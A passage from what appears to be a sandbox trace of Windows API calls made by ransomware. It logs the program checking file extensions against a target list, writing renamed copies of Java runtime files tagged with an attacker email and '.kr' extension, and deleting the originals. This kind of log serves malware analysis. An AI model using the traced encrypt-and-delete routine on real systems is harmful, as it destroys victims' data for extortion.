"c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0179.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.526] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.526] lstrlenW (lpString=".doc") returned 4 [0179.526] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.526] lstrlenW (lpString=".docx") returned 5 [0179.526] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.526] lstrlenW (lpString=".pdf") returned 4 [0179.527] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString=".xls") returned 4 [0179.527] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString=".xlsx") returned 5 [0179.527] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.527] lstrlenW (lpString=".ppt") returned 4 [0179.527] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.527] lstrlenW (lpString=".zip") returned 4 [0179.527] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString=".rar") returned 4 [0179.527] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString=".bz2") returned 4 [0179.527] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString=".7z") returned 3 [0179.527] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.527] lstrlenW (lpString=".dbf") returned 4 [0179.527] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.527] lstrlenW (lpString=".1cd") returned 4 [0179.527] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.527] lstrlenW (lpString=".jpg") returned 4 [0179.527] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.527] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.527] lstrlenW (lpString=".doc") returned 4 [0179.527] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString=".docx") returned 5 [0179.527] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0179.527] lstrlenW (lpString=".pdf") returned 4 [0179.527] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0179.527] lstrlenW (lpString=".xls") returned 4 [0179.528] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0179.528] lstrlenW (lpString=".xlsx") returned 5 [0179.528] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0179.528] lstrlenW (lpString=".ppt") returned 4 [0179.528] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0179.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.528] lstrlenW (lpString=".zip") returned 4 [0179.528] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0179.528] lstrlenW (lpString=".rar") returned 4 [0179.528] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0179.528] lstrlenW (lpString=".bz2") returned 4 [0179.528] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0179.528] lstrlenW (lpString=".7z") returned 3 [0179.528] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0179.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.528] lstrlenW (lpString=".dbf") returned 4 [0179.528] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0179.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.528] lstrlenW (lpString=".1cd") returned 4 [0179.528] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0179.528] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0179.528] lstrlenW (lpString=".jpg") returned 4 [0179.528] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0179.528] lstrcmpiW (lpString1=".properties", lpString2=".kr") returned 1 [0179.528] lstrlenW (lpString="messages_zh_CN.properties") returned 25 [0179.528] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0179.547] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=4072) returned 1 [0179.547] CloseHandle (hObject=0x3ec) returned 1 [0179.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 0x20 [0180.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.088] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.088] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.088] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0180.089] GetLastError () returned 0x0 [0180.089] ReadFile (in: hFile=0x458, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0xfe8, lpOverlapped=0x0) returned 1 [0180.091] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xff0, lpOverlapped=0x0) returned 1 [0180.092] ReadFile (in: hFile=0x458, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.092] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x106, lpOverlapped=0x0) returned 1 [0180.092] SetEndOfFile (hFile=0x3e0) returned 1 [0180.092] CloseHandle (hObject=0x3e0) returned 1 [0180.093] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.093] SetEndOfFile (hFile=0x458) returned 1 [0180.096] CloseHandle (hObject=0x458) returned 1 [0180.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.096] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0180.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.097] lstrlenW (lpString=".doc") returned 4 [0180.097] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0180.097] lstrlenW (lpString=".docx") returned 5 [0180.097] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0180.097] lstrlenW (lpString=".pdf") returned 4 [0180.097] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0180.097] lstrlenW (lpString=".xls") returned 4 [0180.097] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0180.097] lstrlenW (lpString=".xlsx") returned 5 [0180.097] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0180.097] lstrlenW (lpString=".ppt") returned 4 [0180.097] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0180.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.097] lstrlenW (lpString=".zip") returned 4 [0180.097] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0180.097] lstrlenW (lpString=".rar") returned 4 [0180.097] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0180.097] lstrlenW (lpString=".bz2") returned 4 [0180.097] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString=".7z") returned 3 [0180.098] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0180.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.098] lstrlenW (lpString=".dbf") returned 4 [0180.098] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.098] lstrlenW (lpString=".1cd") returned 4 [0180.098] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.098] lstrlenW (lpString=".jpg") returned 4 [0180.098] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.098] lstrlenW (lpString=".doc") returned 4 [0180.098] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString=".docx") returned 5 [0180.098] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0180.098] lstrlenW (lpString=".pdf") returned 4 [0180.098] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString=".xls") returned 4 [0180.098] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString=".xlsx") returned 5 [0180.098] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0180.098] lstrlenW (lpString=".ppt") returned 4 [0180.098] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.098] lstrlenW (lpString=".zip") returned 4 [0180.098] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString=".rar") returned 4 [0180.098] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0180.098] lstrlenW (lpString=".bz2") returned 4 [0180.099] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0180.099] lstrlenW (lpString=".7z") returned 3 [0180.099] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0180.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.099] lstrlenW (lpString=".dbf") returned 4 [0180.099] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0180.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.099] lstrlenW (lpString=".1cd") returned 4 [0180.099] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0180.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0180.099] lstrlenW (lpString=".jpg") returned 4 [0180.099] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0180.099] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0180.099] lstrlenW (lpString="sunmscapi.jar") returned 13 [0180.099] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.099] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=32699) returned 1 [0180.100] CloseHandle (hObject=0x458) returned 1 [0180.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0180.100] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.100] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.100] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.100] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0180.101] GetLastError () returned 0x0 [0180.101] ReadFile (in: hFile=0x458, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x7fbb, lpOverlapped=0x0) returned 1 [0180.103] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x7fc0, lpOverlapped=0x0) returned 1 [0180.104] ReadFile (in: hFile=0x458, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.104] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xee, lpOverlapped=0x0) returned 1 [0180.114] SetEndOfFile (hFile=0x3e0) returned 1 [0180.114] CloseHandle (hObject=0x3e0) returned 1 [0180.115] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.115] SetEndOfFile (hFile=0x458) returned 1 [0180.118] CloseHandle (hObject=0x458) returned 1 [0180.118] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.119] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 1 [0180.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.119] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.119] lstrlenW (lpString=".doc") returned 4 [0180.119] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.119] lstrlenW (lpString=".docx") returned 5 [0180.119] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0180.119] lstrlenW (lpString=".pdf") returned 4 [0180.120] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.120] lstrlenW (lpString=".xls") returned 4 [0180.120] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.120] lstrlenW (lpString=".xlsx") returned 5 [0180.120] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0180.120] lstrlenW (lpString=".ppt") returned 4 [0180.120] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.120] lstrlenW (lpString=".zip") returned 4 [0180.120] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.120] lstrlenW (lpString=".rar") returned 4 [0180.120] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.120] lstrlenW (lpString=".bz2") returned 4 [0180.120] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.120] lstrlenW (lpString=".7z") returned 3 [0180.120] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.120] lstrlenW (lpString=".dbf") returned 4 [0180.120] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.120] lstrlenW (lpString=".1cd") returned 4 [0180.120] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.120] lstrlenW (lpString=".jpg") returned 4 [0180.120] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.121] lstrlenW (lpString=".doc") returned 4 [0180.121] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.121] lstrlenW (lpString=".docx") returned 5 [0180.121] lstrcmpiW (lpString1=".docx", lpString2="i.jar") returned -1 [0180.121] lstrlenW (lpString=".pdf") returned 4 [0180.121] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.121] lstrlenW (lpString=".xls") returned 4 [0180.121] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.121] lstrlenW (lpString=".xlsx") returned 5 [0180.121] lstrcmpiW (lpString1=".xlsx", lpString2="i.jar") returned -1 [0180.121] lstrlenW (lpString=".ppt") returned 4 [0180.121] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0180.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.121] lstrlenW (lpString=".zip") returned 4 [0180.121] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0180.121] lstrlenW (lpString=".rar") returned 4 [0180.121] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0180.121] lstrlenW (lpString=".bz2") returned 4 [0180.121] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0180.121] lstrlenW (lpString=".7z") returned 3 [0180.121] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0180.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.121] lstrlenW (lpString=".dbf") returned 4 [0180.121] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0180.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.121] lstrlenW (lpString=".1cd") returned 4 [0180.121] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0180.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar") returned 56 [0180.121] lstrlenW (lpString=".jpg") returned 4 [0180.122] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0180.122] lstrcmpiW (lpString1=".jar", lpString2=".kr") returned -1 [0180.122] lstrlenW (lpString="sunpkcs11.jar") returned 13 [0180.122] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.122] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=251327) returned 1 [0180.122] CloseHandle (hObject=0x458) returned 1 [0180.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0180.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0180.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0180.123] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.123] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0180.124] GetLastError () returned 0x0 [0180.124] ReadFile (in: hFile=0x458, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0180.460] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x3d5c0, lpOverlapped=0x0) returned 1 [0180.464] ReadFile (in: hFile=0x458, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.464] WriteFile (in: hFile=0x3e0, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0xee, lpOverlapped=0x0) returned 1 [0180.465] SetEndOfFile (hFile=0x3e0) returned 1 [0180.465] CloseHandle (hObject=0x3e0) returned 1 [0180.470] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.470] SetEndOfFile (hFile=0x458) returned 1 [0180.481] CloseHandle (hObject=0x458) returned 1 [0180.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x20) returned 1 [0180.483] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 1 [0180.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar") returned 56 [0180.483] lstrlenW (lpString=".doc") returned 4 [0180.483] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0180.483] lstrlenW (lpString=".docx") returned 5 [0180.483] lstrcmpiW (lpString1=".docx", lpString2="1.jar") returned -1 [0180.569] lstrlenW (lpString=".pdf") returned 4 [0180.569] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0180.569] lstrlenW (lpString=".xls") returned 4 [0180.569] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0180.569] lstrlenW (lpString=".xlsx") returned 5 [0180.569] lstrcmpiW (lpString1=".xlsx", lpString2="1.jar") returned -1 [0180.569] lstrlenW 